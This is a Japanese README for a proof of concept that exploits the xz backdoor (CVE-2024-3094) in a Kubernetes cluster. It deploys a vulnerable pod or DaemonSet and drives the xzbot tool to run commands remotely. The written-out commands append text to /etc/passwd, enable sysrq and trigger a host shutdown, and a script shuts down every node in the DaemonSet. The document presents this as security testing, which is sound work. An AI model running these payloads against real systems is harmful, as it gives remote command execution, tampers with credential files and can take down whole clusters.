
K8sクラスター内でCVE-2024-3094の脆弱性をテストするための基本的なPOC
K8sクラスター内でCVE-2024-3094脆弱性をテストするための基本POC
脆弱なポッドをデプロイし、それを悪用してその脆弱なポッド内でコマンドを実行します。セキュリティ上の理由から同じネットワーク内で行います。脆弱なポッドをインターネットに公開することはありませんが、概念は同じです。
この脆弱性により、ポッドがセキュリティコンテキストで実行されている場合でも、ポッド内でコマンドを実行できます。例えば、ポッドを実行しているホストをシャットダウンすることも可能です。
この脆弱性が単一のポッドで実行されている場合、ホストをシャットダウンして、そのホストで実行中のすべてのサービスを一時的に利用不能にすることができます。しかし、脆弱性がDaemonSetとして実行されている場合、そのDaemonSetを実行しているすべてのホストをシャットダウンでき、クラスター全体をシャットダウンすることもできます。
まず、xzbotsをクラスターにインストールします
go install github.com/amlweems/xzbot@latest
リポジトリをクローンし、脆弱なdeployment/daemonsetをデプロイします
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Deployment
kubectl apply -f deploy_cve-2024-3094.yml
# Or daemonset
kubectl apply -f daemonset_cve-2024-3094.yml
# Get the pod name
kubectl -n vulnes get pods
# Port forward the pod
kubectl -n vulnes port-forward <pod-name> 2225:22
# Execute command, for example write in /etc/passwd
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'
# Check the /etc/passwd file
kubectl -n vulnes exec <pod-name> -- /usr/bin/cat /etc/passwd
さらに進んで、ホストをシャットダウンします
# Enable sysrq
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'
# Shutdown the host
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'
DaemonSetを実行しているすべてのホストをシャットダウンすることもできます
source shutdown_nodes.sh
すべてのホストをシャットダウンするループを実行したときに、次のエラーが発生した場合:
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused
ポートフォワードが準備できるように時間をより多く与えてください。ループ内のsleep時間を増やすことができます。
使用したコンテナイメージは、リポジトリ内のdockerfileを使用して生成されました。イメージを生成して、自身のレジストリにプッシュすることができます。
liblzma.so.5.6.0.patchライブラリを生成するには、参照にあるamlweemsリポジトリを使用できます。